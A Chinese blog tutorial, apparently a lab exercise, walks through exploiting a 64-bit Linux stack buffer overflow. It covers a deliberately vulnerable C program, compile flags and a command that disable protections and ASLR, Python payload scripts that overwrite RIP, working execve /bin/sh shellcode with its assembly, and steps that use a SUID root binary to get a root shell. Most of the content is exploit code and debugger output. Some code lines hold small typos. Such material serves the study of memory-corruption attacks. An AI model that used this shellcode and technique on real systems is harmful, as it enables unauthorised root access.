linux 64位溢出
2016-05-29 23:47
423 查看
/*gcc -fno-stack-protetor -z execstack stack.c -o stack*/ /*echo 0 > /proc/sys/kernel/randomize_va_space*/ #include <stdio.h> #include <unisted.h> int vuln(){ char buf[80]; int r; r = read(0,buf,400); printf("\nRead %d bytes.buf is %s\n",r,buf); puts("No shell for you:("); return 0; } int main(int argc,char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; }
按照注释进行编译,并且关闭ASLR。
当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。
构造exploit:
#!/usr/bin/env python from struct import * buf = "" buf +="A"*400 f = open("in.txt","w") f.write(buf)
这个脚本将创建一个命名为“in.txt”的文件(含有400个字节),将例子加载进gdb并将in.txt的内容重定向到例子中,同时我们可以看看事都可以覆盖到RIP:
Starting program: /root/stackoverflow < in1.txt
Try to exec /bin/sh
Read 400 bytes.buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you:(
Program received signal SIGSEGV, Segmentation fault.
[———————————-registers———————————–]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b0ce50 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd87a0 –> 0x0
RSI: 0x7ffff7ff5000 (“No shell for you:(\nis “, ‘A’ , “\220\001\n”)
RDI: 0x0
RBP: 0x4141414141414141 (‘AAAAAAAA’)
RSP: 0x7fffffffe1e8 (‘A’ …)
RIP: 0x4005df (
#!/usr/bin/env python from struct import * buf="" buf+="A"*104 buf+=pack("<Q",0x42424242) buf+="C"*290 f=open("in.txt","w") f.write(buf)
执行上述脚本,将in.txt中的内容进行修改,然后运行gdb。
如图所示,我们可以看到RIP已经被我们所控制。
因为没有NX和ASLP等保护机制,所以可以直接将shellcode写到栈上。然后将返回地址指向栈上的shellcode即可。
/* * Execute /bin/sh - 27 bytes * Dad` <3 baboon ;rdi 0x4005c4 0x4005c4 ;rsi 0x7fffffffdf40 0x7fffffffdf40 ;rdx 0x0 0x0 ;gdb$ x/s $rdi ;0x4005c4: "/bin/sh" ;gdb$ x/s $rsi ;0x7fffffffdf40: "\304\005@" ;gdb$ x/32xb $rsi ;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00 ;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00 ; ;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b ; 0x7ffff7aeff25 <execve+5>: syscall ; main: ;mov rbx, 0x68732f6e69622f2f ;mov rbx, 0x68732f6e69622fff ;shr rbx, 0x8 ;mov rax, 0xdeadbeefcafe1dea ;mov rbx, 0xdeadbeefcafe1dea ;mov rcx, 0xdeadbeefcafe1dea ;mov rdx, 0xdeadbeefcafe1dea xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx ;mov rdi, rsp push rsp pop rdi cdq push rdx push rdi ;mov rsi, rsp push rsp pop rsi mov al, 0x3b syscall */ #include <stdio.h> #include <string.h> char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main() { printf("len:%d bytes\n", strlen(code)); (*(void(*)()) code)(); return 0; }
通过一个环境变量PWN来获取shellcode在栈上的地址:
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc,char *argv[]) { char *ptr; if(argc<3) { printf("Usage:%s<environment var><target program name>\n",argv[0]); exit(0); } ptr = getenv(argv[1]); ptr += (strlen(argv[0])-strlen(argv[2]))*2 printf("%s will be at %p\n",argv[1],ptr); return 0; }
可以看到shellcode在栈上的地址为0x7fffffffedd3
下面我们就修改脚本
#!/usr/bin/env python from struct import * buf="" buf+="A"*104 buf+=pack("<Q",0x7fffffffedd3) f=open("in.txt","w") f.write(buf)
确保改变我们的所有权并将例子权限改成SUID(root),因此可以得到我们的root shell。
执行完脚本之后,更新in.txt,并将payload送进例子中,就可以返回shell了。
相关文章推荐
- Linux socket 初步
- Linux Kernel 4.0 RC5 发布!
- linux lsof详解
- linux 文件权限
- Linux 执行数学运算
- 10 篇对初学者和专家都有用的 Linux 命令教程
- Linux 与 Windows 对UNICODE 的处理方式
- Ubuntu12.04下QQ完美走起啊!走起啊!有木有啊!
- 解決Linux下Android开发真机调试设备不被识别问题
- 运维入门
- 运维提升
- Linux 自检和 SystemTap
- Ubuntu Linux使用体验
- c语言实现hashmap(转载)
- Linux 信号signal处理机制
- linux下mysql添加用户
- Scientific Linux 5.5 图形安装教程
- Linux 下无损图片压缩小工具介绍